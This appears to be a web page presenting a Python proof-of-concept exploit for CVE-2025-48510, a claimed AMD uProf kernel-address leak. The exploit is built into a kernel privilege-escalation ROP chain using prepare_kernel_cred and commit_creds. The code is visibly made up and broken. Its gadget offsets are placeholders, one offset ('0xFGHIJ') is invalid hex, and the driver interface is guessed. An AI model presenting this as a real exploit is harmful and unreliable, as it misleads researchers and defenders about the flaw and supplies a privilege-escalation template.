AMD uProf improper return value导致KSLR绕过漏洞(CVE-2025-48510)

# CVE-2025-48510 PoC - AMD uProf KSLR Bypass # This is a conceptual PoC demonstrating the improper return value issue # Note: Actual exploitation requires specific AMD uProf version and kernel configuration import ctypes import os import sys # Simulated AMD uProf interface class AMDuProfInterface: def __init__(self): self.lib = None try: # Attempt to load AMD uProf driver/library self.lib = ctypes.CDLL('libuProf.so') except: print("[-] AMD uProf library not found") sys.exit(1) def profile_start(self, config): """ Start profiling with specific configuration The vulnerability lies in improper return value handling """ try: # This call may return kernel stack address due to improper validation result = self.lib.uProfStartProfile(config) # Vulnerability: Return value not properly validated if result > 0: # Potentially leaked kernel stack information leaked_addr = self._extract_return_value(result) print(f"[!] Potential kernel stack leak: 0x{leaked_addr:x}") return leaked_addr return None except Exception as e: print(f"[-] Profile start error: {e}") return None def _extract_return_value(self, result): """ Extract kernel stack address from improper return value This demonstrates the KSLR bypass mechanism """ # In actual vulnerability, the return value contains kernel addresses # that should have been masked or validated return result & 0xFFFFFFFFFFFFF000 # Extract page-aligned address def exploit_kslr_bypass(self, leaked_addr): """ Use leaked address to calculate kernel base and bypass KSLR """ print(f"[*] Leaked kernel stack address: 0x{leaked_addr:x}") # Calculate potential kernel text base # Assuming standard kernel offset patterns kernel_base = leaked_addr - 0x100000 # Example offset print(f"[*] Calculated kernel base: 0x{kernel_base:x}") # Construct ROP chain using leaked addresses rop_chain = self._build_rop_chain(kernel_base) print(f"[*] ROP chain constructed with {len(rop_chain)} gadgets") return rop_chain def _build_rop_chain(self, kernel_base): """Build Return-Oriented Programming chain""" return [ kernel_base + 0x12345, # pop rdi; ret 0x0, # arg1 kernel_base + 0x67890, # prepare_kernel_cred kernel_base + 0xABCDE, # pop rdx; ret 0x0, kernel_base + 0xFGHIJ, # commit_creds ] def main(): print("=== CVE-2025-48510 AMD uProf KSLR Bypass PoC ===") print("[*] This PoC demonstrates the improper return value vulnerability") print("[*] Target: AMD uProf < fixed version") print() # Check if running as low-privilege user if os.geteuid() == 0: print("[-] Warning: Running as root, this vulnerability is for privilege escalation") else: print(f"[*] Running as UID: {os.getuid()}") try: uprof = AMDuProfInterface() # Trigger the vulnerability config = { 'mode': 'system', 'duration': 1000, 'counters': ['cpu_cycles', 'instructions'] } leaked_addr = uprof.profile_start(config) if leaked_addr: print("[+] KSLR bypass address obtained!") rop_chain = uprof.exploit_kslr_bypass(leaked_addr) print("[+] Exploitation chain prepared") else: print("[-] Failed to trigger vulnerability") print("[*] Target may be patched or not vulnerable") except Exception as e: print(f"[-] Error: {e}") print("[*] Ensure AMD uProf is installed and vulnerable version is present") if __name__ == "__main__": main()